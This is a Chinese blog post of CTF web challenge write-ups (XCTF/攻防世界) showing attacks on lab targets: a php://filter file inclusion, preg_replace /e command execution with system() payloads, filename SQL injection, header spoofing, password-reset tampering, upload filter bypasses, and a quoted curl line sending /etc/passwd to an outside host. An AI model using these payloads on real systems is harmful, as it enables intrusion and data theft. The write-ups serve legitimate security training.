攻防世界web-wp(持续更新)

2019年10月21日 1 作者 y1nhui

0x001前言

ctf被打爆自闭了,刷题刷题,有的以前写过的题目就不写wp了,把没写的都写一遍。

0x002

一星题目

Cat (XCTF 4th-WHCTF-2017)

KQiAHJ.png
一进来就看到这个再结合题目名称,第一反应就是命令执行。
但是输入www.baidu.com没有任何回显,输入示例给的loli.club也没有反应

出于好奇百度了一下这个,看到了一个博客
KQin9x.png
进入:
KQiu36.png
好像是原ctf时写的?但是点了点没看到什么有用的,port需要验证账户。我感觉我走偏了再回头看看。输入百度的ip试了一下,结果有回显了
58371ccac00ebc354622b0c10102a1a1.png
那先试一下|| && &
结果是

Invalid URL

emmmm,那我想想,先ping个本地 127.0.0.1
KQAAHg.png
回显多了一些,但是不知道能怎么利用,那再看看url
http://111.198.29.45:54005/index.php?url=127.0.0.1

这个url我想到了重定向和ssrf,但我觉得应该不是。。。先随便输点东西看看,比如1′ QwQ %37什么的

然后%37被编码成了7,可能是url自己编码?输在提交框里面试试后是Invalid Url,但是url里面是url=%2537。看来后台对特殊字符编码了,那%37 -> 7 应该是后台处理的。url编码默认十六进制,而ASCII马有127个,那我们输高于80的试试,于是输入%8A,报错,有东西
KQEuIH.png
、一开始以为flag出来了,但是没能查找到,干脆直接翻到底部,看到了

  You're seeing this error because you have <code>DEBUG = True</code> in your
  Django settings file. Change that to <code>False</code>, and Django will
  display a standard page generated by the handler for this status code.

Django框架,那应该是python的了,搜索一下python

<tr>
  <th>Python Executable:</th>
  <td>/usr/bin/python</td>
</tr>
<tr>
  <th>Python Version:</th>
  <td>2.7.12</td>
</tr>

就看到这个了。这个样子看上去是linux服务器,我遇到的linux服务器的请求http好像都是curl,那curl会不会有什么可以利用的?比如绕重定向的时候就经常利用curl的@来桡。而关于@,有一个地方

-F/–form <name=content 模拟用户在浏览器上点击“submit”按钮提交表单的操作。如果想提交文件,可以将<name=content>中 content部分的内容替换为 @filename 的格式;如果想提交文件中的内容,可以将 content部分的内容替换为 <filename 格式;如果想提交从 stdin 获取的到的数据,可以将 content部分的内容替换为 @- 或者 <-

比如,要提交存储密码的文件到服务器上,命令为:curl -F password=@/etc/passwd www.mypasswords.com
要将文件中的内容作为密码提交到服务器上,命令为:curl -F password=</etc/passwd www.mypasswords.com
在<name=content>内容中添加“type=xxx”字段可以指定 Content-Type 类型。
比如 curl -F “web=@index.html;type=text/html” url.com
或者 curl -F “name=daniel;type=text/foo” url.com
还可以从文件读取待发送内容后,修改数据包中的文件名信息,像这样:curl -F “file=@localfile;filename=nameispost” url.com

也就是可以理解为,在这时,@可以代替绝对路径。恰好这个是一个提交表单。但是怎么利用还不知道。找找报错有没有和数据库相关的东西,然后再搜索database可以看到
'NAME': '/opt/api/database.sqlite3',
emmmm路径来了,好像真的可以用到刚刚说的。
@/opt/api/database.sqlite3
有一说一,这个界面我感觉与刚刚的一模一样,但是既然能进来,应该有东西,search一个flag
然后又三十六个匹配项。。。。。。一看是sql语句 创建flag表,那flag呢= =
又想到这个题目是出自whctf的,格式不会whctf吧。。。
search一下,然后发现真的是。。。
WHCTF{yoooo_Such_A_G00D_@}

upload(RCTF-2015)

进去后注册登录,然后是这个。
K1Vr9J.png
直接上传php后缀报错,那试试其他的。
结果把自己知道的后缀,0x00都试了一下都没成功,gif、png也没成功,只有jpg成功了,我怀疑这是白名单,只能上jpg。
K1ZbRJ.png
那怎么利用呢,图片马吗?找一下看看能不能找到文件包含。
K1eMWQ.png
扫到了这些,先看看最显眼的includes
K1e8Lq.png
感觉很有东西,但是可以,下载不下来,看不到东西。
classes界面更刺激,进去后是user.php和password.php,但也看不了= =
扫描出的都用不了,那还能怎么办。。。、

然后想到在当初实验班考核的时候有过一题,说是sql注入结果点进去后是文件上传,后来看wp才知道是利用文件名存入数据库来达到注入的目的,这题会不会也一样?也就是文件上传->文件名录入数据库->查询数据库导出文件名后显示到页面。如果这样存在注入可能。试试先。

在repeater里发包后通过回显可以看到select与from没了,尝试双写绕过成功,继续。
但是很迷的是没有成功在网页上显示出文件名。。。
百度了别的wp说是不转成数字,完全没有回显结果,但是这个是怎么知道的呢。。迷茫
那就转吧用 conv substr和hex三个来把结果转换了之后慢慢爆库,得结果
flag为:!!_@m_Th.e_F!lag

ics-05(XCTF 4th-CyberEarth)

一进去发现没有没什么东西,看源代码也没看到,先扫一下目录
然后发现另有一个index.php进入后查看。
四处点点就可以发现在点击云平台设备维护中心后,url中多出了一个参数:page=index

这个样子很容易让人想到了文件包含。但是没有看到什么别的文件可以包含,那就试试伪协议php://filter/read=convert.base64
-encode/resource=index.php

拿到结果去解密
Kyvu1P.md.png


<head>
<meta charset="utf-8">
<meta name="renderer" content="webkit">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<link rel="stylesheet" href="layui/css/layui.css" media="all">
<title>设备维护中心</title>
<meta charset="utf-8">
</head>

<body>
<ul class="layui-nav">
<li class="layui-nav-item layui-this"><a href="?page=index">云平台设备维护中心</a></li>
</ul>
<fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;">
<legend>设备列表</legend>
</fieldset>
<table class="layui-hide" id="test"></table>
<script type="text/html" id="switchTpl">
<!-- 这里的 checked 的状态只是演示 -->
<input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="开|关" lay-filter="checkDemo" {{ d.id==1 0003 ? 'checked' : '' }}>
</script>
<script src="layui/layui.js" charset="utf-8"></script>
<script>
layui.use('table', function() {
var table = layui.table,
form = layui.form;

table.render({
elem: '#test',
url: '/somrthing.json',
cellMinWidth: 80,
cols: [
[
{ type: 'numbers' },
 { type: 'checkbox' },
 { field: 'id', title: 'ID', width: 100, unresize: true, sort: true },
 { field: 'name', title: '设备名', templet: '#nameTpl' },
 { field: 'area', title: '区域' },
 { field: 'status', title: '维护状态', minWidth: 120, sort: true },
 { field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true }
]
],
page: true
});
});
</script>
<script>
layui.use('element', function() {
var element = layui.element; //导航的hover效果、二级菜单等功能,需要依赖element模块
//监听导航点击
element.on('nav(demo)', function(elem) {
//console.log(elem)
layer.msg(elem.text());
});
});
</script>

<?php

$page = $_GET[page];

if (isset($page)) {



if (ctype_alnum($page)) {
?>

<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead"><?php echo $page; die();?></p>
<br /><br /><br /><br />

<?php

}else{

?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead">
<?php

if (strpos($page, 'input') > 0) {
die();
}

if (strpos($page, 'ta:text') > 0) {
die();
}

if (strpos($page, 'text') > 0) {
die();
}

if ($page === 'index.php') {
die('Ok');
}
include($page);
die();
?>
</p>
<br /><br /><br /><br />

<?php
}}


//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

echo "<br >Welcome My Admin ! <br >";

$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];

if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}

}





?>

</body>

</html>

除了最底下的内部测试代码,其他都没用。
分析最底下的代码,首先需要 x-forwarded-for:127.0.0.1
然后需要三个参数同时存在。
接着是preg_replace函数。该函数在/e模式下会存在代码执行。
那么先看看目录:?pat=/QwQ/e&rep=system('ls')&sub=QwQ
KgjPhj.md.png
然后grep找flag?pat=/QwQ/e&rep=system('grep+-rn+flag')&sub=QwQ
KgvexI.png
于是见到flag
cyberpeace{e703d058240f55595aec30199ecb56f0}

lottery(XCTF 4th-QCTF-2018)

进入题目一看,哟呵,是个菠菜呢(手动滑稽)
注册后进去看了看,可以在claim your prize界面看到flag
KRSaBq.md.png
有一说一,真就菠菜呗。
第一反应就是买六合彩、获得金额以及购买flag的时候有逻辑漏洞,可以通过抓包修改来快速完成,测试一下。
然后发现购买其实是一个json数组
{"action":"buy","numbers":"1234567"}

而且在获奖后并没有包,而是直接显示,买flag也是
{"action":"flag"}

想到的三个可能考点:
1. 反序列化漏洞
2. json数组sql注入
3. 转入数据可以更改为恒等,达成中奖

想了想,最后一个最简单,于是试一下,先试了试七个*
然后结果是显示了七个* 难顶看来不行。
试着传入了’‘ ‘‘这样的,但是被理解成了 ‘ * ‘三个字符
个人觉得应该是以数组的形式传入的。

那么传入布尔型呢?
{"action":"buy","numbers":[true,true,true,true,true,true,true]}
成功,试着跑了几下,发现每次金额不同,有多有少,似乎还要别的考点,无所谓了。多跑几下跑够了就有钱买flag了。

ps:后来上网查了一下wp,发现其实这题是.git源码泄露+代码审计+==的弱类型带来的漏洞,结果我直接fuzz出来了。。。

Training-WWW-Robots(来源不明)

开局提了一下robots.txt,那就让我们去看一看。
K5Uoi4.png
emmm至少知道flag在哪了 应该是 f10g.php
然后访问就是
cyberpeace{d2653b4e3dfd209de9381eb4ac9cd3cc}
??????有一说一我傻了 我是不是进错地方了。。。

bug(RCTF-2015)

进去就是一个弹框 让我登录 确定后跳转到login界面
K50ufe.png
感觉想到了一个叫sql二次注入的东西,先看看。
试了一下admin/admin登录 显示登录错误,不清楚是没有账号还是没有密码,去看看注册。
直接输入admin,提示账号已注册,那么试试admin'/**/#
注册完成后弹出了一个 uid:5 register success,于是我又想到一个点,就是通过篡改uid越权登录。
先试试二次注入对不对
K50Wp4.png
几个功能点,manage不是admin不能使用,重置密码看看是不是二次注入
然后发现不是,那试一试找回密码
K50T76.md.png
这是验证登录时的包,看上去没得改,尝试改了一下username,报错,那么正常流程走到下一步,重置密码。
K50qhD.png
好的,我找到你了,把username参数改成admin,发送
K50O9e.png
I got it!
密码重置成功,现在去登录看看。
然后发现manage是P Not allowed!
这个简答,xff
K5BpHP.md.png
结果进入后是K5BCAf.png
???
不过看了一下网页源码看到了这句话
<!-- index.php?module=filemanage&do=??? -->
emmm,url改一下咯
Action is not correct!
行为不正确,猜一下do的参数,直接burp抓包用repeater看
结果猜了半天甚至脑洞地试了一下bug都没出来,最后考虑到是do,传了个upload进去发现真成功了。。。感觉有点脑洞了。
进入后是一个文件上传,.jpg文件上传抓包改成php试试先
果不其然被阻拦了hhh
那试试php3 phtml之类的,repeater模块见
试了一会发现都不对,然后翻了翻笔记看到了一个骚操作,利用script语句来绕过waf
<script language='php'>语句</php>
不过需要注意的是,这个方法有一个缺陷,就是因为这个东西太反人类了,从php7起就不再支持了。
K5BWUf.md.png
成功获得flag :cyberpeace{fa4a5b088e488ae011d74df710c612f5}

二星题目